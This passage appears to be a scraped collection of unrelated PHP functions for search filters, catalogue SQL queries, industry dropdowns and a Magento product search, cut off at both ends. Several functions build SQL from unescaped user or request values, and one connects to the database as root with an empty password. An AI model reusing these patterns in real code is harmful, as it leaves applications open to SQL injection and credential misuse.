\"\")\n { \n $condition .=\" AND (Environment LIKE '%$environment%')\";\n }\n if($continent != \"\")\n { \n $condition .=\" AND (Continent LIKE '%$continent%')\";\n }\n if($age_group != \"\")\n { \n $condition .=\" AND (Age = '$age_group')\";\n }\n if( ($price_from >= 0) && ($price_to > 0) )\n { \n $condition .=\" AND (ActivityPrice BETWEEN '$price_from' AND '$price_to' )\";\n }\n \n if( ($departure_date != \"\" && $return_date != \"\") )\n { \n $condition .=\" AND ( (date1 BETWEEN '$departure_date' AND '$return_date') )\";\n }\n /* \n if( ($return_date != \"\") )\n { \n $condition .=\" AND (data2 <z= '$return_date') \";\n }\n \n if($activities != \"\")\n { \n $condition .=\" OR (city LIKE '%$activities%') \";\n }*/\n if($weather != \"\")\n { \n $condition .= \" AND (MATCH(Weather) AGAINST('$weather' IN BOOLEAN MODE))\";\n }\n /*\n if($activities != \"\")\n { \n $condition .= \"(MATCH(weather) AGAINST('$activities' IN BOOLEAN MODE)) OR \";\n }\n if($activities != \"\")\n { \n $condition .= \"(MATCH(environment) AGAINST('$activities' IN BOOLEAN MODE)) OR \";\n }*/\n if($activities != \"\")\n { \n //prepare condition using MYSQL NATURAL LANGUAGE MODE\n $condition .= \" AND (MATCH(Activities) AGAINST('$activities' IN BOOLEAN MODE)) \";\n }\n }else\n { \n return false;\n \n } // end if(($season != \"\") || ($destination != \"\") || \n \n }else\n { \n return false;\n $condition = \" 1='1' \"; \n }\n\n //echo $condition; //die();\n $this->db->select('*');\n $this->db->from('filter');\n $this->db->where($condition);\n $query = $this->db->get(); //print_r($this->db); die();\n if ($query->num_rows() > 0) {\n return $query->result();\n } else {\n return false;\n }\n}", "public function SQL_ExhibitInfo($sqlFilt) {\n\t$sqlWhere = is_null($sqlFilt)?NULL:\"WHERE $sqlFilt\";\n\t$sqlCatNum = self::SQLfrag_CatNum();\n\t$sqlCatPath = self::SQLfrag_CatPath();\n\treturn <<<__END__\n/*ExhibitInfo*/ SELECT \n t.ID, t.ID_Dept, ID_Supp, t.Name, t.CatKey, CountForSale, QtyInStock,\n PriceMin,\n PriceMax,\n ItOptions,\n ItTypes,\n $sqlCatNum AS CatNum,\n $sqlCatPath AS CatPath\nFROM\n `cat_titles` AS t\n JOIN cat_depts AS d ON t.ID_Dept=d.ID\n JOIN cat_supp AS s ON t.ID_Supp=s.ID\n JOIN\n (SELECT \n ID_Title,\n COUNT(IsAvail) AS CountForSale,\n SUM(IF(isStock,Qty,0)) AS QtyInStock,\n\tMIN(PriceSell) AS PriceMin,\n MAX(PriceSell) AS PriceMax,\n GROUP_CONCAT(DISTINCT CatKey ORDER BY io.Sort SEPARATOR ', ') AS ItOptions,\n\tGROUP_CONCAT(DISTINCT itt.NameSng ORDER BY itt.Sort SEPARATOR ', ') AS ItTypes\n FROM\n cat_items AS i\n JOIN cat_ittyps AS itt ON i.ID_ItTyp=itt.ID\n JOIN cat_ioptns AS io ON i.ID_ItOpt=io.ID\n JOIN (SELECT \n sl.ID_Item,\n sl.Qty,\n sb.isForSale,\n sb.isEnabled,\n sb.WhenVoided,\n ((sl.Qty > 0)\n AND sb.isForSale\n AND sb.isEnabled\n AND (sb.WhenVoided IS NULL)) AS isStock\n FROM\n stk_lines AS sl\n LEFT JOIN `stk_bins` AS sb ON sl.ID_Bin = sb.ID) AS sl ON sl.ID_Item = i.ID\n GROUP BY ID_Title) AS i ON i.ID_Title = t.ID\n$sqlWhere\n__END__;\n }", "function acf_get_filters()\n{\n}", "private function gatherData($filter) {\r\n $res = $this->db->query(\"SELECT i.*, f.symbol AS fiatSym, c.symbol AS cryptoSym, o.display AS fxOption, s.status\r\n FROM invoices i\r\n LEFT JOIN currencies f ON f.id = i.fiat_id\r\n LEFT JOIN currencies c ON c.id = i.crypto_id\r\n LEFT JOIN fx_options o ON o.id = i.fx_option\r\n LEFT JOIN status_ref s ON s.id = i.status_id\r\n WHERE i.user = \".$_SESSION['user'].\" \".$filter\r\n .\" ORDER BY i.create_time DESC\");\r\n while ($r=$res->fetch_assoc()) {\r\n $r['docs'] = $this->findDocs($r['id']); // Array; find any documents\r\n array_push($this->list,$r);} // Add to stack\r\n }", "public function index()\n {\n return Industry::all();\n }", "public function admin_search_for_deal($search_params_arr,$start_offset,$num_to_fetch,&$data_arr,&$data_count){\n $db = new db();\n /************************************************\n\t\tsng:28/sep/2012\n\t\tNow we have one or more companies associated with a deal. If company is given, we filter on it.\n\t\tWe use the country/sector/industry of the participating companies when filtering by country/sector/industry\n\t\t\n\t\tDeals can have concrete value or just deal value range id. In fact, even if value is given, range id is stored.\n\t\tWe now get rid of min and max value inputs and using the deal value range dropdown\n\t\t\n\t\tAdmin can now type the deal id to search for the deal\n\t\t\n\t\tShow all, active/inactive, announced/failed\n\t\t\n\t\tWe take this from front_deal_search_paged\n\t\t************************************************/\n\t\t$filter_by_company_attrib = \"\";\n\t\t\n\t\tif(isset($search_params_arr['company_name'])&&($search_params_arr['company_name']!=\"\")){\n\t\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t\t$filter_by_company_attrib = $filter_by_company_attrib.\" AND \";\n\t\t\t}\n\t\t\t$filter_by_company_attrib.=\"name like '\".mysql_real_escape_string($search_params_arr['company_name']).\"%'\";\n\t\t\t\n \n }else{\n\t\t\tif(isset($search_params_arr['country'])&&($search_params_arr['country']!=\"\")){\n\t\t\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t\t\t$filter_by_company_attrib = $filter_by_company_attrib.\" AND \";\n\t\t\t\t}\n\t\t\t\t$filter_by_company_attrib.=\"hq_country='\".mysql_real_escape_string($search_params_arr['country']).\"'\";\n\t\t\t}else{\n\t\t\t\t/**********\n\t\t\t\tmight check region. Associated with a region is one or more countries\n\t\t\t\tWe can use IN clause, that is hq_country IN (select country names for the given region), but it seems that\n\t\t\t\tit is much faster if we first get the country names and then create the condition with OR, that is\n\t\t\t\t(hq_country='Brazil' OR hq_country='Russia') etc\n\t\t\t\t***********/\n\t\t\t\tif(isset($search_params_arr['region'])&&($search_params_arr['region']!=\"\")){\n\t\t\t\t\t//get the country names for this region name\n\t\t\t\t\t$region_q = \"SELECT ctrym.name FROM \".TP.\"region_master AS rgnm LEFT JOIN \".TP.\"region_country_list AS rcl ON ( rgnm.id = rcl.region_id ) LEFT JOIN \".TP.\"country_master AS ctrym ON ( rcl.country_id = ctrym.id )\nWHERE rgnm.name = '\".mysql_real_escape_string($search_params_arr['region']).\"'\";\n\t\t\t\t\t$region_q_res = mysql_query($region_q);\n\t\t\t\t\tif(!$region_q_res){\n\t\t\t\t\t\t\n \treturn false;\n \t}\n\t\t\t\t\t$region_q_res_cnt = mysql_num_rows($region_q_res);\n\t\t\t\t\t$region_clause = \"\";\n\t\t\t\t\tif($region_q_res_cnt > 0){\n\t\t\t\t\t\twhile($region_q_res_row = mysql_fetch_assoc($region_q_res)){\n \t$region_clause.=\"|hq_country='\".mysql_real_escape_string($region_q_res_row['name']).\"'\";\n \t}\n\t\t\t\t\t\t$region_clause = substr($region_clause,1);\n\t\t\t\t\t\t$region_clause = str_replace(\"|\",\" OR \",$region_clause);\n\t\t\t\t\t\t$region_clause = \"(\".$region_clause.\")\";\n\t\t\t\t\t}\n\t\t\t\t\tif($region_clause!=\"\"){\n\t\t\t\t\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t\t\t\t\t$filter_by_company_attrib = $filter_by_company_attrib.\" AND \";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$filter_by_company_attrib.=$region_clause;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t/*********************************************************/\n\t\t\tif(isset($search_params_arr['sector'])&&($search_params_arr['sector']!=\"\")){\n\t\t\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t\t\t$filter_by_company_attrib = $filter_by_company_attrib.\" AND \";\n\t\t\t\t}\n\t\t\t\t$filter_by_company_attrib.=\"sector='\".mysql_real_escape_string($search_params_arr['sector']).\"'\";\n\t\t\t}\n\t\t\t\n\t\t\tif(isset($search_params_arr['industry'])&&($search_params_arr['industry']!=\"\")){\n\t\t\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t\t\t$filter_by_company_attrib = $filter_by_company_attrib.\" AND \";\n\t\t\t\t}\n\t\t\t\t$filter_by_company_attrib.=\"industry='\".mysql_real_escape_string($search_params_arr['industry']).\"'\";\n\t\t\t}\n\t\t\t/*************************************************/\n\t\t}\n\t\t/***********************\n\t\tNow we insert the snippets\n\t\t*******************/\n\t\t$q = \"SELECT t.id as deal_id,value_in_billion,t.value_range_id,t.admin_verified,vrm.short_caption as fuzzy_value_short_caption,vrm.display_text as fuzzy_value,date_of_deal,deal_cat_name,deal_subcat1_name,deal_subcat2_name,target_company_name,seller_company_name FROM \";\n\t\t\n\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t$q.=\"(SELECT DISTINCT transaction_id from \".TP.\"transaction_companies as fca_tc left join \".TP.\"company as fca_c on(fca_tc.company_id=fca_c.company_id) where fca_c.type='company' AND \".$filter_by_company_attrib.\") AS fca LEFT JOIN \";\n\t\t}\n\t\t\n\t\t$q.=\"\".TP.\"transaction AS t \";\n\t\t\n\t\tif($filter_by_company_attrib != \"\"){\n\t\t\t$q.=\"ON (fca.transaction_id=t.id) \";\n\t\t}\n\t\t\n\t\t$q.=\" LEFT JOIN \".TP.\"transaction_value_range_master as vrm ON (t.value_range_id=vrm.value_range_id)\";\n\t\t\n\t\t/*******************************\n\t\tend of snippets\n\t\t*********************************/\n\t\t\n $q.=\" WHERE 1=1\";\n\t\t\n\t\tif(isset($search_params_arr['deal_id'])&&$search_params_arr['deal_id']!=\"\"){\n $q.=\" and t.id = '\".$search_params_arr['deal_id'].\"'\";\n }\n /************************************************************************************/\n if(isset($search_params_arr['deal_cat_name'])&&($search_params_arr['deal_cat_name']!=\"\")){\n $q.=\" and t.deal_cat_name = '\".$search_params_arr['deal_cat_name'].\"'\";\n }\n if(isset($search_params_arr['deal_subcat1_name'])&&($search_params_arr['deal_subcat1_name']!=\"\")){\n $q.=\" and t.deal_subcat1_name = '\".$search_params_arr['deal_subcat1_name'].\"'\";\n }\n if(isset($search_params_arr['deal_subcat2_name'])&&($search_params_arr['deal_subcat2_name']!=\"\")){\n $q.=\" and t.deal_subcat2_name = '\".$search_params_arr['deal_subcat2_name'].\"'\";\n }\n /*****************************************************************************/\n if(isset($search_params_arr['year'])&&($search_params_arr['year']!=\"\")){\n $q.=\" and year(t.date_of_deal) = '\".$search_params_arr['year'].\"'\";\n }\n \n\t\t/**************************************************************************************/\n\t\tif(isset($search_params_arr['value_range_id'])&&($search_params_arr['value_range_id']!=\"\")){\n\t\t\tif($search_params_arr['value_range_id']==\"0\"){\n\t\t\t\t//looking for 'undisclosed'\n\t\t\t\t$q.=\" and t.value_in_billion=0.0 AND t.value_range_id=0\";\n\t\t\t}else{\n\t\t\t\t$q.=\" and t.value_range_id='\".$search_params_arr['value_range_id'].\"'\";\n\t\t\t}\n }\n /*******************************************************************************/\n $q.=\" order by date_of_deal desc,t.id desc\";\n /***\n The ordering by data of transaction in descending order is ok but what happens when the dates are same? It seems that the ordering then is random. So we\n add another tie breaker - the order in which the deals were entered\n /*******************************************************/\n $q.=\" limit \".$start_offset.\",\".$num_to_fetch;\n\t\t\n \n $ok = $db->select_query($q);\n if(!$ok){\n return false;\n }\n \n $data_count = $db->row_count();\n if(0==$data_count){\n //no data, no need to proceed\n return true;\n }\n\t\t$data_arr = $db->get_result_set_as_array();\n\t\t\n\t\trequire_once(\"classes/class.transaction_company.php\");\n\t\t$g_trans_comp = new transaction_company();\n\t\t\n for($k=0;$k<$data_count;$k++){\n\t\t\t/**************\n\t\t\tif we do not have exact value or fuzzy value, the short caption is n/d for undisclosed\n\t\t\t***************/\n\t\t\tif(($data_arr[$k]['value_in_billion']==0)&&($data_arr[$k]['value_range_id']==0)){\n\t\t\t\t$data_arr[$k]['fuzzy_value'] = \"Not disclosed\";\n\t\t\t\t$data_arr[$k]['fuzzy_value_short_caption'] = \"n/d\";\n\t\t\t}\n //set bankers and law firms\n $transaction_id = $data_arr[$k]['deal_id'];\n \n \n\t\t\t$data_arr[$k]['banks'] = array();\n\t\t\t$data_cnt = 0;\n\t\t\t$success = $this->get_all_partner($transaction_id,\"bank\",$data_arr[$k]['banks'],$data_cnt);\n\t\t\tif(!$success){\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t/******************************************/\n\t\t\t$data_arr[$k]['law_firms'] = array();\n\t\t\t$data_cnt = 0;\n\t\t\t$success = $this->get_all_partner($transaction_id,\"law firm\",$data_arr[$k]['law_firms'],$data_cnt);\n\t\t\tif(!$success){\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\t/**************************\n\t\t\tget the deal participants, just the names\n\t\t\t*************************/\n\t\t\t$data_arr[$k]['participants'] = NULL;\n\t\t\t$success = $g_trans_comp->get_deal_participants($transaction_id,$data_arr[$k]['participants']);\n\t\t\tif(!$success){\n\t\t\t\treturn false;\n\t\t\t}\n \n }\n //echo $q;\n return true;\n }", "function filter(){\n //$_SESSION['filters'] = array('GPA' => ['2.0', '3.0']), 'Nationality' => ['saudi'], 'Company_size' => ['large'], 'Major' => ['Computer Science', 'Marketing', 'Finance']);\n if($_GET['checked'] == \"true\"){\n if(!isset($_SESSION['filters'])){\n $_SESSION['filters'] = array();\n }\n if(isset($_SESSION['filters'][$_GET['category']])){\n array_push($_SESSION['filters'][$_GET['category']], $_GET['value']);\n } else{\n $_SESSION['filters'][$_GET['category']] = array();\n array_push($_SESSION['filters'][$_GET['category']], $_GET['value']);\n }\n // echo extractQuery();\n echo json_encode(printRecords(1));\n }else{\n if(isset($_SESSION['filters'][$_GET['category']])){\n unset($_SESSION['filters'][$_GET['category']][array_search($_GET['value'],$_SESSION['filters'][$_GET['category']])]);\n $_SESSION['filters'][$_GET['category']] = removeGaps($_SESSION['filters'][$_GET['category']]);\n if(count($_SESSION['filters'][$_GET['category']]) === 0){\n unset($_SESSION['filters'][$_GET['category']]);\n if(count($_SESSION['filters']) === 0){\n unset($_SESSION['filters']);\n }\n }\n }\n // echo extractQuery();\n echo json_encode(printRecords(1));\n }\n }", "function get_industry()\n { \n //filter_data($this->table);\n //$this->db->where('id',$id);\n\t\t$this->db->select(\"id,name\");\n\t\t$this->db->order_by(\"id\",\"desc\");\n $query = $this->db->get(\"industry\");\n \n if($query->num_rows() > 0)\n return $query->result();\n \n show_404();\n }", "function ShowFilterList() {\n\t\tglobal $dealers_reports;\n\t\tglobal $ReportLanguage;\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\n\t\t// Field StartDate\n\t\t$sExtWrk = \"\";\n\t\t$sWrk = \"\";\n\t\tewrpt_BuildDropDownFilter($dealers_reports->StartDate, $sExtWrk, $dealers_reports->StartDate->DateFilter);\n\t\tif ($sExtWrk <> \"\" || $sWrk <> \"\")\n\t\t\t$sFilterList .= $dealers_reports->StartDate->FldCaption() . \"<br>\";\n\t\tif ($sExtWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sExtWrk<br>\";\n\t\tif ($sWrk <> \"\")\n\t\t\t$sFilterList .= \"&nbsp;&nbsp;$sWrk<br>\";\n\n\t\t// Show Filters\n\t\tif ($sFilterList <> \"\")\n\t\t\techo $ReportLanguage->Phrase(\"CurrentFilters\") . \"<br>$sFilterList\";\n\t}", "abstract protected function extractProductDetail();", "private function get_filterItems()\n {\n $arr_return = array();\n\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n // Default return value\n $arr_return[ 'data' ][ 'items' ] = null;\n\n // Set rows, if current filter is with areas\n $this->areas_toRows();\n\n// 4.1.16, 120927, dwildt, -\n// // RETURN rows are empty\n// if( empty ( $this->rows) )\n// {\n// // DRS\n// if( $this->pObj->b_drs_warn )\n// {\n// $prompt = 'Rows are empty. Filter: ' . $this->curr_tableField . '.';\n// t3lib_div::devlog( '[WARN/FILTER] ' . $prompt, $this->pObj->extKey, 2 );\n// }\n// // DRS\n// return $arr_return;\n// }\n// // RETURN rows are empty\n// 4.1.16, 120927, dwildt, -\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n // Set nice_piVar\n $this->set_nicePiVar();\n\n // Set class var $htmlSpaceLeft\n $this->set_htmlSpaceLeft();\n\n // Set class var $maxItemsPerHtmlRow\n $this->set_maxItemsPerHtmlRow();\n\n // SWITCH current filter is a tree view\n // #i0117, 141223, dwildt, 1-/+\n //switch ( in_array( $table, $this->arr_tablesWiTreeparentfield ) )\n switch ( in_array( $this->curr_tableField, $this->arr_tablesWiTreeparentfield ) )\n {\n case( true ):\n $arr_return = $this->get_filterItemsTree();\n break;\n case( false ):\n default:\n $arr_return = $this->get_filterItemsDefault();\n if ( !empty( $arr_return ) )\n {\n $items = $arr_return[ 'data' ][ 'items' ];\n $arr_return = $this->get_filterItemsWrap( $items );\n }\n break;\n }\n // SWITCH current filter is a tree view\n\n return $arr_return;\n }", "function get_company_detail($id) {\n return get_view_data_where('org_detail', $id);\n}", "public function GetFilters ();", "public function get_list_wh(){\n $rs = array();\n $arrWhere = array();\n \n $fcoverage = $this->session->userdata ( 'ovCoverage' );\n if(empty($fcoverage)){\n $e_coverage = array();\n }else{\n $e_coverage = explode(';', $fcoverage);\n }\n \n //Parse Data for cURL\n $rs_data = send_curl($arrWhere, $this->config->item('api_list_warehouses'), 'POST', FALSE);\n $rs = $rs_data->status ? $rs_data->result : array();\n \n $data = array();\n foreach ($rs as $r) {\n $row['code'] = filter_var($r->fsl_code, FILTER_SANITIZE_STRING);\n $row['name'] = filter_var($r->fsl_name, FILTER_SANITIZE_STRING);\n $row['location'] = filter_var($r->fsl_location, FILTER_SANITIZE_STRING);\n $row['nearby'] = filter_var($r->fsl_nearby, FILTER_SANITIZE_STRING);\n $row['pic'] = stripslashes($r->fsl_pic) ? filter_var($r->fsl_pic, FILTER_SANITIZE_STRING) : \"-\";\n $row['phone'] = stripslashes($r->fsl_phone) ? filter_var($r->fsl_phone, FILTER_SANITIZE_STRING) : \"-\";\n $row['sort'] = stripslashes($r->field_order) ? filter_var($r->field_order, FILTER_SANITIZE_NUMBER_INT) : 0;\n \n if(in_array($row['code'], $e_coverage)){\n $data[] = $row;\n }\n }\n \n return $data;\n }", "function get_industries()\r\n{\r\n\t$url = 'http://clinicaltrials.gov/ct2/search/browse?brwse=spns_cat_INDUSTRY&brwse-force=true';\r\n\t$doc = new DOMDocument();\r\n\tfor ($done = false, $tries = 0; $done == false && $tries < 5; $tries++) \r\n\t{\r\n\t\tif ($tries>0) echo('.');\r\n\t\t@$done = $doc->loadHTMLFile($url);\r\n\t}\r\n\t\r\n\t$divs = $doc->getElementsByTagName('div');\r\n\t$divdata = NULL;\r\n\t\r\n\tforeach ($divs as $div) \r\n\t{\r\n\t\t$ok = false;\r\n\t\tforeach ($div->attributes as $attr) \r\n\t\t{\r\n\t\t\tif ($attr->name == 'id' && $attr->value == 'body-copy-browse')\r\n\t\t\t{\r\n\t\t\t\t$data = $div;\r\n\t\t\t\t$ok = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($ok == true) \r\n\t\t{\r\n\t\t\t$divdata = $data;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\t\r\n\tif ($divdata == NULL) \r\n\t{\r\n\t\techo('Nothing to import'. \"\\n<br />\");\r\n\t\texit;\r\n\t}\r\n\r\n\t$data = $divdata->nodeValue;\r\n\r\n\t//replace story and stories from string and prepare an arry with industry names \r\n\t$industries_str = str_replace('See Sponsor/Collaborators by Category > Industry', '', $data);\r\n\t$industries_replaced = preg_replace('/[0-9]{1,4}?\\sstudy|[0-9]{1,4}?\\sstudies/', '{***}', $industries_str);\r\n\t$industries = explode('{***}', $industries_replaced);\r\n\t\r\n\tglobal $NCTcontent;\r\n\tforeach ($industries as $industry) \r\n\t{\r\n\t\t$industry = iconv('UTF-8', 'ISO-8859-1', $industry);\r\n\t\t$industry = trim($industry);\r\n\t\t$NCTcontent .= $industry.PHP_EOL;\r\n\t}\r\n\t\r\n}", "public function getSearchData()\n\t{\n\t\t$search_data \t\t=\tjson_decode($this->request->getContent(),true);\n\t\t$search_term\t\t=\t$search_data['search_term'];\n\t\t$area_id\t\t\t=\t$search_data['area_id'];\n\t\t$city_id\t\t\t=\t$search_data['city_id'];\n\t\t$page_number\t\t=\t$search_data['page_number'];\n\t\t\n\t\t$products = $this->_productCollectionFactory->create()->addAttributeToSelect(\n\t\t\t'*'\n\t\t)->addFieldToFilter(\n\t\t\t'name',\n\t\t\t['like' => '%'.$search_term.'%']\n\t\t)-> addAttributeToFilter('visibility', array('in' => array(4) )\n\t\t)-> addAttributeToFilter('status', array('in' => array(1) ))\n\t\t->addCategoryIds()->setPageSize(10)\n ->setCurPage($page_number);\n\t\t\n\t\t\n\t\t$products->getSelect()\n\t\t\t\t->join(array(\"marketplace_product\" => 'marketplace_product'),\"`marketplace_product`.`mageproduct_id` = `e`.`entity_id`\",array(\"seller_id\" => \"seller_id\"))\n\t\t\t\t->join(array(\"marketplace_userdata\" => 'marketplace_userdata'),\"`marketplace_userdata`.`seller_id` = `marketplace_product`.`seller_id` AND (FIND_IN_SET('\".$area_id.\"', `area_id`)) AND (FIND_IN_SET('\".$city_id.\"', `region_id`)) \",array(\"shop_url\", \"logo_pic\")); \n\t\t\n\t\t\n\t\t$all_response \t=\tarray();\n\t\t$all_response['data'] \t=\tarray();\n\t\t$categories \t=\tarray();\n\t\t$seller_data \t=\tarray();\n\t\t$priceHelper \t= \t$this->_objectManager->create('Magento\\Framework\\Pricing\\Helper\\Data'); // Instance of Pricing Helper\n\t\t$StockState \t= \t$this->_objectManager->get('\\Magento\\CatalogInventory\\Api\\StockStateInterface');\n\t\t$store \t\t\t\t= \t$this->_objectManager->get('Magento\\Store\\Model\\StoreManagerInterface')->getStore();\n\t\tforeach($products as $product_data){\n\t\t\tif(!isset($all_response['data'][$product_data->getSellerId()])){\t\t\t\n\t\t\t\t$all_response['data'][$product_data->getSellerId()]['seller']\t=\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'name'=> ucfirst($product_data->getShopUrl()),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'shop_url'=> ($product_data->getShopUrl()),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'logo'=> $product_data->getLogoPic(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\t\t\t\t\t\n\t\t\t}\n\t\t\t$categories\t\t\t=\t$product_data->getCategoryIds();\n\t\t\t$formattedPrice \t= \t$priceHelper->currency($product_data->getPrice(), true, false);\n\t\t\t\n\t\t\t$product_quantity\t=\t$StockState->getStockQty($product_data->getId(), $product_data->getStore()->getWebsiteId());\n\t\t\t$collectioncat \t\t= \t$this->_categoryCollectionFactory->create();\n\t\t\t$collectioncat->addAttributeToSelect(array('name'), 'inner');\n\t\t\t$collectioncat->addAttributeToFilter('entity_id', array('in' => $categories));\n\t\t\t$collectioncat->addAttributeToFilter('level', array('gt' => 1));\n\t\t\t$collectioncat->addIsActiveFilter();\n\t\t\t$productImageUrl \t= \t$store->getBaseUrl(\\Magento\\Framework\\UrlInterface::URL_TYPE_MEDIA) . 'catalog/product/';\n\t\t\t\n\t\t\t$shortdescription\t=\t$product_data->getShortDescription();\n\t\t\tif($shortdescription==null){\n\t\t\t\t$shortdescription\t=\t\"\";\n\t\t\t}\n\t\t\tif($product_data->getTypeId()!=\"simple\"){\n\t\t\t\t$price\t\t\t=\t0;\n\t\t\t\t$product_price\t=\t0;\n\t\t\t\t$product_special_price\t=\t0;\n\t\t\t\t$_children = $product_data->getTypeInstance()->getUsedProducts($product_data);\n\t\t\t\tforeach ($_children as $child){\n\t\t\t\t\t$productPrice = $child->getPrice();\n\t\t\t\t\t$price = $price ? min($price, $productPrice) : $productPrice;\n\t\t\t\t}\n\t\t\t\t$special_price\t=\t$product_data->getFinalPrice(); \n\t\t\t\tif($price <= $product_data->getFinalPrice()){\n\t\t\t\t\t$special_price\t=\tnull; \n\t\t\t\t}\n\t\t\t\t$formattedPrice\t\t\t=\t$price; \n\t\t\t\t$product_price\t\t\t=\t$product_data->getProductPrice();\n\t\t\t\t$product_special_price\t=\t$product_data->getProductSpecialPrice();\n\t\t\t}else{\n\t\t\t\t$formattedPrice\t\t\t=\t$product_data->getPrice(); \n\t\t\t\t$special_price\t\t\t=\t$product_data->getFinalPrice(); \n\t\t\t\t$product_price\t\t\t=\t0;\n\t\t\t\t$product_special_price\t=\t0;\n\t\t\t}\n\t\t\tif($formattedPrice == $special_price ){\n\t\t\t\t$special_price\t\t\t=\tnull; \n\t\t\t}\n\t\t\t$formattedPrice\t\t\t\t=\tnumber_format($formattedPrice, 2);\n\t\t\tif($special_price !=null){\n\t\t\t\t$special_price\t\t\t\t=\tnumber_format($special_price, 2);\n\t\t\t}\n\t\t\t$all_response['data'][$product_data->getSellerId()]['products'][]\t=\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t'id'=>$product_data->getId(),\n\t\t\t\t\t\t\t\t\t\t\t\t'name'=>$product_data->getName(),\n\t\t\t\t\t\t\t\t\t\t\t\t'sku'=>$product_data->getSku(),\n\t\t\t\t\t\t\t\t\t\t\t\t'short_description'=>$shortdescription,\n\t\t\t\t\t\t\t\t\t\t\t\t'price'=>$formattedPrice,\n\t\t\t\t\t\t\t\t\t\t\t\t'product_price'=>$product_price,\n\t\t\t\t\t\t\t\t\t\t\t\t'product_special_price'=>$product_special_price,\n\t\t\t\t\t\t\t\t\t\t\t\t'special_price'=>$special_price,\n\t\t\t\t\t\t\t\t\t\t\t\t'image'=>ltrim($product_data->getImage(), \"/\"),\n\t\t\t\t\t\t\t\t\t\t\t\t'small_image'=>ltrim($product_data->getSmallImage(), \"/\"),\n\t\t\t\t\t\t\t\t\t\t\t\t'thumbnail'=>ltrim($product_data->getThumbnail(), \"/\"),\n\t\t\t\t\t\t\t\t\t\t\t\t'quantity'=>$product_quantity,\n\t\t\t\t\t\t\t\t\t\t\t\t'product_data'=>$product_data->getData(),\n\t\t\t\t\t\t\t\t\t\t\t\t'productImageUrl'=>$productImageUrl,\n\t\t\t\t\t\t\t\t\t\t\t\t'categories'=>$collectioncat->getData(),\n\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t$all_response['data'][$product_data->getSellerId()]['categories']\t=\t$collectioncat->getData();\n\t\t}\n\t\t\n\t\t\n\t\t$search_data \t=\t[['page_number'=>$page_number,'total_count'=>$products->getSize()]];\n\t\tif(!empty($all_response['data'])){\n\t\t\tforeach($all_response['data'] as $serller_id=>$seller_data){\n\t\t\t\t$customer_data \t\t\t\t\t= \t$this->_objectManager->create('Magento\\Customer\\Model\\Customer')->load($serller_id);\n\t\t\t\t$seller_data['seller']['name']\t=\ttrim($customer_data->getData('firstname').\" \".$customer_data->getData('lastname'));\n\t\t\t\t$search_data[]\t=\t[\n\t\t\t\t\t\t\t\t\t\t'seller_data'=>$seller_data['seller'],\n\t\t\t\t\t\t\t\t\t\t'products'=>$seller_data['products'],\n\t\t\t\t\t\t\t\t\t\t'categories'=>$seller_data['categories']\n\t\t\t\t\t\t\t\t\t];\n\t\t\t}\n\t\t}\n\t\treturn $search_data;\n\t}", "function industryList($fieldname=\"industry\", $classes=\"form-control\", $important=false, $ind=\"Aerospace Industry\")\n\t{\n\t\tif($important)\n\t\techo \"<select name='$fieldname' class='$classes' placeholder='Industry' required>\";\n\t\telse\n\t\techo \"<select name='$fieldname' class='$classes' placeholder='Industry'>\";\n\t\t$con = dbConnect(\"localhost\", \"root\", \"\", \"jobPortal\");\n\t\tif($con)\n\t\t{\n\t\t\t$rsIndustry = mysqli_query($con, \"SELECT * FROM industries\");\n\t\t\tif($rsIndustry)\n\t\t\t{\n\t\t\t\twhile($row = mysqli_fetch_array($rsIndustry))\n\t\t\t\t{\n\t\t\t\t\tif($row[\"indName\"]==$ind)\n\t\t\t\t\techo \"<option value='\".$row['indId'].\"' selected>\".$row['indName'].\"</option>\";\n\t\t\t\t\telse\n\t\t\t\t\techo \"<option value='\".$row['indId'].\"'>\".$row['indName'].\"</option>\";\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo \"<option value='0'>Unable To Fetch.</option>\";\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo \"<option value='0'>Unable To Fetch.</option>\";\n\t\t}\n\t\techo \"</select>\";\n\t}", "private function filters() {\n\n\n\t}", "public function fetch_all_product_and_marketSelection_data() {\r\n \r\n $dataHelpers = array();\r\n if (!empty($this->settingVars->pageArray[$this->settingVars->pageName][\"DH\"]))\r\n $dataHelpers = explode(\"-\", $this->settingVars->pageArray[$this->settingVars->pageName][\"DH\"]); //COLLECT REQUIRED PRODUCT FILTERS DATA FROM PROJECT SETTING \r\n\r\n if (!empty($dataHelpers)) {\r\n\r\n $selectPart = $resultData = $helperTables = $helperLinks = $tagNames = $includeIdInLabels = $groupByPart = array();\r\n $filterDataProductInlineConfig = $dataProductInlineFields = [];\r\n \r\n foreach ($dataHelpers as $key => $account) {\r\n if($account != \"\")\r\n {\r\n //IN RARE CASES WE NEED TO ADD ADITIONAL FIELDS IN GROUP BY CLUAUSE AND ALSO AS LABEL WITH THE ORIGINAL ACCOUNT\r\n //E.G: FOR RUBICON LCL - SKU DATA HELPER IS SHOWN AS 'SKU #UPC'\r\n //IN ABOVE CASE WE SEND DH VALUE = F1#F2 [ASSUMING F1 AND F2 ARE SKU AND UPC'S INDEX IN 